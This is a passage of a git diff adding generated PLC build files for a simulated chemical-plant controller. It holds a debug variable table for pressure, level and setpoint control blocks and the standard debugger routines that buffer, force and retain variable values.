+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + 